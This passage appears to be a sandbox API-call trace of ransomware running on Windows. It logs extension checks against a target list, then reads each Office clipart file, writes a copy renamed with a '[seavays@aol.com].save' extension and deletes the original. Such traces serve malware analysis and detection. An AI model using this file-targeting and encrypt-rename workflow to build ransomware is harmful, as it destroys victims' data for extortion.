[0176.500] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.500] lstrlenW (lpString=".ppt") returned 4 [0176.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.501] lstrlenW (lpString=".zip") returned 4 [0176.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.501] lstrlenW (lpString=".rar") returned 4 [0176.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString=".bz2") returned 4 [0176.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString=".7z") returned 3 [0176.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.501] lstrlenW (lpString=".dbf") returned 4 [0176.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.501] lstrlenW (lpString=".1cd") returned 4 [0176.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.501] lstrlenW (lpString=".jpg") returned 4 [0176.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.501] lstrlenW (lpString=".doc") returned 4 [0176.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString=".docx") returned 5 [0176.501] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.501] lstrlenW (lpString=".pdf") returned 4 [0176.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.501] lstrlenW (lpString=".xls") returned 4 [0176.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.501] lstrlenW (lpString=".xlsx") returned 5 [0176.502] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.502] lstrlenW (lpString=".ppt") returned 4 [0176.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.502] lstrlenW (lpString=".zip") returned 4 [0176.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.502] lstrlenW (lpString=".rar") returned 4 [0176.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.502] lstrlenW (lpString=".bz2") returned 4 [0176.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.502] lstrlenW (lpString=".7z") returned 3 [0176.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.502] lstrlenW (lpString=".dbf") returned 4 [0176.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.502] lstrlenW (lpString=".1cd") returned 4 [0176.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0176.502] lstrlenW (lpString=".jpg") returned 4 [0176.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.502] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.502] lstrlenW (lpString="J0107718.WMF") returned 12 [0176.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.503] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3800) returned 1 [0176.504] CloseHandle (hObject=0x518) returned 1 [0176.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220 [0176.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.504] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.504] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.506] GetLastError () returned 0x0 [0176.506] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xed8, lpOverlapped=0x0) returned 1 [0176.508] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xee0, lpOverlapped=0x0) returned 1 [0176.510] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0176.510] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0176.510] SetEndOfFile (hFile=0x538) returned 1 [0176.510] CloseHandle (hObject=0x538) returned 1 [0176.510] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.510] SetEndOfFile (hFile=0x518) returned 1 [0176.513] CloseHandle (hObject=0x518) returned 1 [0176.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0176.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.514] lstrlenW (lpString=".doc") returned 4 [0176.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString=".docx") returned 5 [0176.515] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.515] lstrlenW (lpString=".pdf") returned 4 [0176.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString=".xls") returned 4 [0176.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.515] lstrlenW (lpString=".xlsx") returned 5 [0176.515] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.515] lstrlenW (lpString=".ppt") returned 4 [0176.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.515] lstrlenW (lpString=".zip") returned 4 [0176.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.515] lstrlenW (lpString=".rar") returned 4 [0176.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString=".bz2") returned 4 [0176.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString=".7z") returned 3 [0176.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.515] lstrlenW (lpString=".dbf") returned 4 [0176.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.515] lstrlenW (lpString=".1cd") returned 4 [0176.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.515] lstrlenW (lpString=".jpg") returned 4 [0176.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.516] lstrlenW (lpString=".doc") returned 4 [0176.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.516] lstrlenW (lpString=".docx") returned 5 [0176.516] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.516] lstrlenW (lpString=".pdf") returned 4 [0176.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.516] lstrlenW (lpString=".xls") returned 4 [0176.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.516] lstrlenW (lpString=".xlsx") returned 5 [0176.516] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.516] lstrlenW (lpString=".ppt") returned 4 [0176.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.516] lstrlenW (lpString=".zip") returned 4 [0176.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.516] lstrlenW (lpString=".rar") returned 4 [0176.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.516] lstrlenW (lpString=".bz2") returned 4 [0176.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.516] lstrlenW (lpString=".7z") returned 3 [0176.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.516] lstrlenW (lpString=".dbf") returned 4 [0176.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.516] lstrlenW (lpString=".1cd") returned 4 [0176.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0176.517] lstrlenW (lpString=".jpg") returned 4 [0176.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.517] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.517] lstrlenW (lpString="J0107722.WMF") returned 12 [0176.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.518] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=8260) returned 1 [0176.518] CloseHandle (hObject=0x518) returned 1 [0176.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220 [0176.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0176.519] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.519] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0176.520] GetLastError () returned 0x0 [0176.520] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2044, lpOverlapped=0x0) returned 1 [0176.521] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2050, lpOverlapped=0x0) returned 1 [0176.523] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0176.523] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0176.523] SetEndOfFile (hFile=0x538) returned 1 [0176.523] CloseHandle (hObject=0x538) returned 1 [0176.523] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0176.523] SetEndOfFile (hFile=0x518) returned 1 [0176.526] CloseHandle (hObject=0x518) returned 1 [0176.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.771] lstrlenW (lpString=".doc") returned 4 [0176.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.771] lstrlenW (lpString=".docx") returned 5 [0176.771] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.771] lstrlenW (lpString=".pdf") returned 4 [0176.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.771] lstrlenW (lpString=".xls") returned 4 [0176.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.771] lstrlenW (lpString=".xlsx") returned 5 [0176.771] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.771] lstrlenW (lpString=".ppt") returned 4 [0176.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.771] lstrlenW (lpString=".zip") returned 4 [0176.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.771] lstrlenW (lpString=".rar") returned 4 [0176.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString=".bz2") returned 4 [0176.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString=".7z") returned 3 [0176.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.772] lstrlenW (lpString=".dbf") returned 4 [0176.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.772] lstrlenW (lpString=".1cd") returned 4 [0176.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.772] lstrlenW (lpString=".jpg") returned 4 [0176.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.772] lstrlenW (lpString=".doc") returned 4 [0176.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString=".docx") returned 5 [0176.772] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.772] lstrlenW (lpString=".pdf") returned 4 [0176.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.772] lstrlenW (lpString=".xls") returned 4 [0176.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.772] lstrlenW (lpString=".xlsx") returned 5 [0176.772] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.773] lstrlenW (lpString=".ppt") returned 4 [0176.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.773] lstrlenW (lpString=".zip") returned 4 [0176.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.773] lstrlenW (lpString=".rar") returned 4 [0176.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.773] lstrlenW (lpString=".bz2") returned 4 [0176.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.773] lstrlenW (lpString=".7z") returned 3 [0176.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.773] lstrlenW (lpString=".dbf") returned 4 [0176.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.773] lstrlenW (lpString=".1cd") returned 4 [0176.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0176.773] lstrlenW (lpString=".jpg") returned 4 [0176.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.773] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.773] lstrlenW (lpString="J0107730.WMF") returned 12 [0176.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.784] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3060) returned 1 [0176.784] CloseHandle (hObject=0x534) returned 1 [0176.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220 [0177.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.137] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.137] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.138] GetLastError () returned 0x0 [0177.138] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xbf4, lpOverlapped=0x0) returned 1 [0177.141] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xc00, lpOverlapped=0x0) returned 1 [0177.143] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0177.143] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0177.143] SetEndOfFile (hFile=0x378) returned 1 [0177.143] CloseHandle (hObject=0x378) returned 1 [0177.143] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.143] SetEndOfFile (hFile=0x540) returned 1 [0177.146] CloseHandle (hObject=0x540) returned 1 [0177.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0177.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.148] lstrlenW (lpString=".doc") returned 4 [0177.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.148] lstrlenW (lpString=".docx") returned 5 [0177.148] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0177.148] lstrlenW (lpString=".pdf") returned 4 [0177.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.148] lstrlenW (lpString=".xls") returned 4 [0177.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.148] lstrlenW (lpString=".xlsx") returned 5 [0177.148] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0177.148] lstrlenW (lpString=".ppt") returned 4 [0177.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.148] lstrlenW (lpString=".zip") returned 4 [0177.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.148] lstrlenW (lpString=".rar") returned 4 [0177.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString=".bz2") returned 4 [0177.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString=".7z") returned 3 [0177.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft 